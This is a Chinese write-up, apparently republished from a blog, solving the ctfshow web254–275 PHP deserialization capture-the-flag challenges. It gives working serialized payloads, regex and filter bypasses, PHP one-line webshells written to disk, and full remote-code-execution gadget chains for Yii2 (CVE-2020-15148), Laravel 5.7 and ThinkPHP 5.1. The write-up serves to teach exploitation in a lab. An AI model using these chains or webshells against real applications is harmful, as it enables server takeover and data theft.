0


ctfshow web入门 web254——— 反序列化wp

web254

代码审计:

定义了ctfShoeUser类

get传参username和password,isset()是检查变量是否被定义的函数,若变量被定义且值不是null,那么返回值是true,接着实例化对象user.....最终输出flag

所以我们传入的参数只要是已经被定义的值就行

?username=xxxxxx&password=xxxxxx


web255

代码审计:

$username=$_GET['username'];
$password=$_GET['password'];  //传参username、password

if(isset($username) && isset($password)){    //检查两个参数是否被定义,所以我们需要传参为xxxxx
    $user = unserialize($_COOKIE['user']);   //cookie传参给user,将其反序列化赋值给user   
    if($user->login($username,$password)){   //
        if($user->checkVip()){               //调用checkVip,返回值需要不为空,所以isVip需要赋 
                                                 值为True
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    

所以这题继续给username、password传参为xxxxxx,

还要对user进行cookie传参,将isVip改值为True

反序列格式:

O:类名长度:"类名":类的参数数量:{s:变量的数量:"变量名";s:变量长度:"变量值";};

传入的isVip参数 cookie值:

O:11:"ctfShowUser":1:{s:5:"isVip";s:4:"True";}

username=xxxxxx&password=xxxxxx

对user值进行url编码:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bs%3A4%3A%22True%22%3B%7D

最终结果如下

cookie传参如上

web256

在上一题的基础上更改为不等于,就是说传入的username不能等于password

更改user值,在修改isVip的基础上传入username值为a

?username=a&password=xxxxxx

cookie user=O:11:"ctfShowUser":2:{s:8:"username";s:1:"a";s:5:"isVip";s:4:"True";};

对cookie编码

user=O%3A11%3A%22ctfShowUser%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22a%22%3Bs%3A5%3A%22isVip%22%3Bs%3A4%3A%22True%22%3B%7D%3B


web257

这题的关键是执行backDoor函数,源代码无法执行,进行无法利用eval()

需要利用反序列化 向user传入想要执行的system('tac flag.php')命令

而执行backDoor函数,也是利用user将__construct函数中的info改为:

$test=new backDoor()

利用php代码,得到构造的序列化,并且利用php对其进行url编码:

<?php
class ctfShowUser{
    private $class;
    public function __construct(){
        $this->class=new backDoor();
    }
    
}

class backDoor{
    private $code="system('tac flag.php');";
}
                                         
$a=new ctfShowUser();
echo serialize($a);
echo urlencode( serialize($a));

得到user:

O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D

payload:

得到flag:


web258

这题和上题一样,多了一个正则匹配

/[oc]:\d+:/:

表示o/O:后面不能跟数字,我们只需要修改成O:+2即可绕过正则表达式

得到以下

O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:4:"code";s:23:"system('tac flag.php');";}}

在O:后添加+,要记得全部,不只是开头

O:+11:"ctfShowUser":1:{s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:23:"system('tac flag.php');";}}

再进行url编码,cookie传参

user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system('tac%20flag.php')%3B%22%3B%7D%7D

得到flag


web259

web260

将ctfshow的值序列化,其结果匹配

ctfshow_i_love_36D,

成功则输出flag

ctfshow_i_love_36D的序列化结果就包含ctfshow_i_love_36D


web261

有两个利用点,一个是触发__invoke(),执行eval(),它的触发时机是对象被当作函数调用,这点无法被利用;

另一个是触发__destruct(),利用file_put_contents()将一句话木马写入后门;

但这一题增加了一个__unserialize()魔术方法,在php7.4.0之后,__unserialize()和__wakeup()同时存在,触发__unserialize(),__wakeup()不会被触发,因此不用控制username和password为空。

所以我们利用username、password写一句话木马

file_put_contents(文件名,文件内容)

code==0x36d 而code 在__unserialize()中被定义为username.password(.表示将前后连接)

code==0x36d(十进制为877),是弱类型比较,877q也能通过比较

<?php
    class ctfshowvip{
        public $username='877.php';
        public $password='<?php eval($_POST[1]) ?>';

    
    }

    $a = new ctfshowvip();
    echo urlencode(serialize($a));

结果得到:

O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29+%3F%3E%22%3B%7D

写入后门文件

查看目录名,得到flag_is_here

读取文件,得到flag


web262

源代码发现message.php

访问message.php

可见只有当token=admin时才会返回flag

str_replace('fuck','loveU',serialize($msg))表示将fuck替换成loveU

这题考查的是字符串逃逸(增多),具体原理见另外一篇文章php反序列化 字符串逃逸 橙子科技靶场-CSDN博客

f、m、t的值中,t是关键,需要等于admin,其他两个无所谓

f=a&f=b只需要简单的get传参

需要利用t进行字符串逃逸,传入token的值admin

<?php
class message{
    public $to;
    public $token='admin';
    public function __construct($t){

        $this->to = $t;
    }
}

$t = '......';

$msg = new message($t);
echo serialize($msg);                                   
//O:7:"message":2:{s:2:"to";s:14:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
$umsg = str_replace('fuck', 'loveU', serialize($msg));
echo $umsg;
//O:7:"message":2:{s:2:"to";s:14:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}

通过计算得到

t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

才能在被loveU替代后,想要注入的token=asmin才会被挤出来

再访问message.php

得到


web263

打开后是一个登录页面,查看源代码,发现一个check.php,访问无效

使用dirsearch对网站进行扫描,得到一些文件名

访问www.zip,得到以下文件

开始代码审计:

index.php文件

$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);

出现代码错误,limti拼写错误导致条件为假,从而执行后面的代码

$_SESSION['limit']=base64_decode($_COOKIE['limit']);

由此我们可以通过修改cookie的值从而定义session,而后$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);对session并没有影响,不用管它。

inc.php

ini_set('session.serialize_handler', 'php');

表示session值传入后通过php读取,那么猜测存储利用的是php_serialize

class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

从这里我们可以构造poc,利用file_put_contents()植入木马

由此,开始构造poc

<?php
class User{
    public $username;
    public $password;
    public $status;
}

$a=new User();
$a->username="1.php";
$a->password="<?php eval($_POST[1]); ?>";
$a->status="成功";

echo serialize($a);

得到结果为

O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:25:"<?php eval($_POST[1]); ?>";s:6:"status";s:6:"成功";}

php_serialize存储为

a:1:{s:5:"limit";s:88:"|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:24:"<?php eval($_POST[1]); ?>";s:6:"status";s:6:"成功";}";}

php读取为

(键名) a:1:{s:5:"limit";s:88:" | (经过serialize()序列化处理的值) O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>";s:6:"status";s:6:"成功";}

因为index.php是对cookie的limit进行base64加密再赋值给session解码,所以我们还需要再加密

$b='|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:25:"<?php eval($_POST[1]); ?>";s:6:"status";s:6:"成功";}';
echo base64_encode($b); 

fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyNToiPD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/PiI7czo2OiJzdGF0dXMiO3M6Njoi5oiQ5YqfIjt9

先在页面更改cookie的limit值

再访问一下inc/inc.php,触发limit反序列化,才会将木马写入

再访问我们写入木马的文件 /1.php

并执行命令,得到flag


web264

传参f m t ,然后将其序列化,把loveU替换成fuck得到umsg,(这里用到的是之前的字符串逃逸)再base64加密传给session的msg(上一题的session)

但少了点啥,查看开头发现还有message.php,读取文件

两个文件相当于把传入的值序列化,又加密再解密传值又再反序列化传值给msg

要求msg的token等于admin(之前的字符串逃逸,我之前赋值粘贴前面的web262)

t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

f m随便传

get传参

f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

再修改message.php文件的cookie值,msg改为1,因为

这里要求msg不为空,才执行后面的代码

所以我先访问message.php,利用bp抓包,在cookie中添加msg的值为1

发送后,得到flag


web265

Get传参输入ctfshow,然后对其反序列化,所以我们要输入一个序列化的值

token赋值为一个随机数,login()又要求token==password

这里需要用到类成员的引用,才能使token==password,无论token的值被怎么改变

$a->password=&$a->token;

构造poc

<?php
class ctfshowAdmin{
    public $token;
    public $password;
}

$a=new ctfshowAdmin();
$a->password=&$a->token;

echo serialize($a);

得到序列化结果为

O:12:"ctfshowAdmin":2:{s:5:"token";N;s:8:"password";R:2;}

get传参,得到flag


web266

这题执行__destruct(),最终才会输出flag,__destruct()的触发时机使进行反序列化

if(preg_match('/ctfshow/', $cs)){
     throw new Exception("Error $ctfshowo",1);

这表示对cs进行匹配,不能含有ctfshow,否则会报错

那么我们利用大小写绕过即可

O:7:"ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}

改为

O:7:"Ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}

$cs = file_get_contents('php://input');

表示POST传参给cs

利用hackbar执行没有反应,我利用了bp


web267

yii反序列漏洞

查看源代码,看这个页面是什么框架

点击yjj

可见使用的yjj框架 2.0版本

Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize 时,攻击者可通过构造特定的恶意请求执行任意命令。CVE编号是CVE-2020-15148。

需要找到注入点,先尝试登录:

尝试后发现是弱密码登录,用户名、密码都是admin

登录后查看一些页面,about页面变了

查看源代码

读取url

?r=site%2Fabout&view-source

得到提示,访问/backdoor/shell,get传参给code

利用脚本,得到encode的值

其中的命令要反复尝试,一些函数会被过滤,这里是向1.php文件写入木马

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'shell_exec';
            $this->id ="echo '<?php eval(\$_POST[1]);phpinfo();?>' > /var/www/html/basic/web/11.php";
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(), 'run'];
        }
    }
}
namespace yii\db{

    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new Generator();
        }
    }
}
namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

/index.php?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czo3NDoiZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PicgPiAvdmFyL3d3dy9odG1sL2Jhc2ljL3dlYi8xMS5waHAiO31pOjE7czozOiJydW4iO319fX0=

然后访问1.php文件

POST传参想要的值

web268

这题还是先按照上一题的登录进行,但放入code后,没有反应,修改命令,换成拼接也不行

只能尝试换个链子

<?php
namespace yii\rest {
    class Action
    {
        public $checkAccess;
    }
    class IndexAction
    {
        public function __construct($func, $param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
namespace {
    $exp = new \yii\db\BatchQueryResult('shell_exec', 'cp /f* 1.txt'); //此处写命令
    echo(base64_encode(serialize($exp)));
}
 

再最后写入查看文件命令也行,一句话木马也行

TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czoxMjoiY3AgL2YqIDEudHh0Ijt9aToxO3M6MzoicnVuIjt9fX0=

再读取1.txt


web269

同web268


web270

同web268


web271

Laravel v5.7反序列化漏洞

先查看目录

再换成ls / 查看根目录

data=O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A4%3A%22ls+%2F%22%3B%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A2%3A%7Bs%3A22%3A%22%00%2A%00hasBeenBootstrapped%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7D

得到flag文件

O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A2%3A%7Bs%3A22%3A%22%00%2A%00hasBeenBootstrapped%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7D


web272

同上一题


web273

同上一题


web274

thinkphp5.1的链子

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["lin"=>["calc.exe","calc"]];
        $this->data = ["lin"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',  
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'lin'];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];
 
    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

这里需要data的get传参(system)以及放入lin的值(想要执行的命令)


web275

class filter{          //定义一个类
    public $filename;
    public $filecontent;
    public $evilfile=false;  //evilfile常量为false

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;        
    }
    public function checkevil(){               //定义检查函数,判断filename是否匹配php等,若匹配则evilname=true
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){                //实例化对象后被调用,对于这题 new filter($_GET['fn'],$content)__destruct会被调用       
        if($this->evilfile){                     //需要使evilname=true                
            system('rm '.$this->filename);            
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){                     //evilname=false执行以下
        file_put_contents($_GET['fn'], $content);    //写入文件
        copy($_GET['fn'],md5(mt_rand()).'.txt');     //复制文件,文件名为md5随机数
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);    //删除原来的文件
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

由此 get传参 fn=php可以执行system

但是rm会被放入,只需要用;隔开即可

?fn=php;ls

?fn=php;tac flag.php

标签: web安全 php

本文转载自: https://blog.csdn.net/2202_75289892/article/details/141335035
版权归原作者 8023220 所有, 如有侵权,请联系我们删除。

“ctfshow web入门 web254——— 反序列化wp”的评论:

还没有评论